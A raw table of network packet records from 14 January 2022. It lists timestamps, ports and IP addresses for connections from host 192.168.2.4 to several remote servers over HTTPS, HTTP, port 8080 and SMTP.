Jan 14, 2022 12:29:29.878751993 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878761053 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878779888 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878782988 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878798962 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878808022 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.878837109 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.878876925 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.879173040 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879204035 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879256010 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.879266977 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879287958 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.879311085 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879334927 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879369974 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.879379034 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.879406929 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.891269922 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.891299963 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.891387939 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.891412973 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895436049 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895466089 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895509005 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895531893 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895566940 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895566940 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895598888 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895656109 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895667076 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895683050 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895708084 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895752907 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895761967 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895803928 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895881891 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895909071 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895937920 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.895946026 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.895977974 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.896059990 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896086931 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896141052 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.896148920 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896342039 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896365881 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896408081 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.896419048 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896434069 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896456957 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896460056 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.896471024 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.896485090 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.896516085 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897053003 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897082090 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897125959 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897136927 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897166967 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897228956 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897253036 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897279024 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897286892 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897326946 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897376060 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897399902 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897428036 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.897434950 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.897458076 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.898058891 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.898083925 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.898128986 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.898143053 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.898169994 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900368929 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900437117 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900479078 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900499105 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900511980 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900520086 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900547028 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900574923 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900583982 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900609016 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900851011 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900873899 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900901079 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.900911093 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.900929928 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.901038885 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.901077032 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.901092052 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.901099920 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.901124954 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.901165962 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.901201963 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.903467894 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.914891005 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.914925098 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:29.914958954 CET	49810	443	192.168.2.4	162.159.135.233
Jan 14, 2022 12:29:29.914966106 CET	443	49810	162.159.135.233	192.168.2.4
Jan 14, 2022 12:29:31.246035099 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.263492107 CET	80	49811	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.263782024 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.264023066 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.264033079 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.282005072 CET	80	49811	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.382883072 CET	80	49811	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.382951021 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.383147001 CET	49811	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.400834084 CET	80	49811	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.414663076 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.432161093 CET	80	49812	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.432257891 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.432368040 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.432770014 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.450375080 CET	80	49812	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.450793982 CET	80	49812	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.550877094 CET	80	49812	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.551166058 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.551331997 CET	49812	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.568835974 CET	80	49812	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.582624912 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.602874041 CET	80	49813	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.603853941 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.604017973 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.604131937 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.621531010 CET	80	49813	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.621566057 CET	80	49813	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.738147974 CET	80	49813	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:31.738235950 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.742338896 CET	49813	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:31.755263090 CET	49814	80	192.168.2.4	188.166.28.199
Jan 14, 2022 12:29:31.759876013 CET	80	49813	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:32.173010111 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:32.173155069 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:32.173203945 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:32.311117887 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:34.945031881 CET	49814	80	192.168.2.4	188.166.28.199
Jan 14, 2022 12:29:40.945370913 CET	49814	80	192.168.2.4	188.166.28.199
Jan 14, 2022 12:29:41.915713072 CET	49849	25	192.168.2.4	104.47.54.36
Jan 14, 2022 12:29:42.047713041 CET	25	49849	104.47.54.36	192.168.2.4
Jan 14, 2022 12:29:42.050177097 CET	49849	25	192.168.2.4	104.47.54.36
Jan 14, 2022 12:29:42.050749063 CET	49849	25	192.168.2.4	104.47.54.36
Jan 14, 2022 12:29:42.182687998 CET	25	49849	104.47.54.36	192.168.2.4
Jan 14, 2022 12:29:42.184596062 CET	25	49849	104.47.54.36	192.168.2.4
Jan 14, 2022 12:29:42.184807062 CET	49849	25	192.168.2.4	104.47.54.36
Jan 14, 2022 12:29:42.185025930 CET	25	49849	104.47.54.36	192.168.2.4
Jan 14, 2022 12:29:42.185726881 CET	49849	25	192.168.2.4	104.47.54.36
Jan 14, 2022 12:29:44.646370888 CET	49853	443	192.168.2.4	94.142.143.116
Jan 14, 2022 12:29:44.646431923 CET	443	49853	94.142.143.116	192.168.2.4
Jan 14, 2022 12:29:44.646610022 CET	49853	443	192.168.2.4	94.142.143.116
Jan 14, 2022 12:29:53.221565008 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.238854885 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.240897894 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.241355896 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.241380930 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.258491039 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.359432936 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.359453917 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.359596014 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.359728098 CET	49859	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.376775980 CET	80	49859	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.388412952 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.405754089 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.406786919 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.406919956 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.407011032 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.424280882 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.545886993 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.545989990 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.546209097 CET	49860	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.563410997 CET	80	49860	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.577014923 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.594434977 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.594575882 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.594703913 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.594717979 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.612056017 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.717451096 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.717474937 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.717580080 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.717617989 CET	49861	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.734949112 CET	80	49861	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.756432056 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.773938894 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.774214983 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.774461031 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.774599075 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.791845083 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.791862011 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.893204927 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.893342018 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.893369913 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.910693884 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.921785116 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.939239979 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:53.939399004 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.939524889 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.939557076 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:53.956800938 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.058600903 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.058803082 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.058953047 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.076167107 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.087022066 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.104500055 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.104581118 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.104758024 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.104768991 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.122088909 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.122106075 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.244692087 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.244774103 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.259188890 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.276554108 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.303338051 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.320628881 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.320732117 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.320837021 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.320856094 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.338157892 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.436845064 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.436866999 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.436939955 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.440355062 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.457575083 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.472732067 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.489964008 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.490799904 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.490891933 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.493514061 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.508035898 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.510591030 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.609926939 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.610006094 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.610199928 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.627321005 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.637475967 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.654772997 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.654877901 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.654989958 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.654997110 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.672321081 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.775115967 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.775135994 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.775363922 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.775374889 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.792747974 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.818011999 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.835306883 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.835427046 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.835644960 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.835664034 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.852890015 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.956587076 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.956697941 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.956829071 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:54.974035025 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:54.986613035 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.003928900 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.004265070 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.004292965 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.004301071 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.021473885 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.135622978 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.135705948 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.136085987 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.153265953 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.164979935 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.182233095 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.184875965 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.184986115 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.185012102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.202233076 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.328154087 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.328224897 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.360198021 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.377374887 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.418679953 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.436060905 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.436242104 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.436300993 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.436315060 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.453701973 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.557986021 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.558128119 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.558288097 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.575537920 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.586344957 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.603651047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.603943110 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.603987932 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.665435076 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707016945 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707039118 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707056046 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707071066 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707098007 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707118034 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707133055 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707134008 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.707149029 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707165956 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707175016 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.707182884 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.707217932 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.707226992 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.726006031 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746278048 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746330976 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746371031 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746400118 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746411085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746449947 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746493101 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746500969 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746515989 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746532917 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746572018 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746611118 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746620893 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746649027 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746661901 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746690035 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746730089 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746766090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746803999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746844053 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746850967 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746887922 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.746903896 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746944904 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.746982098 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.747034073 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.747044086 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.764616966 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.764672995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.764713049 CET	80	49872	8.209.70.0	192.168.2.4
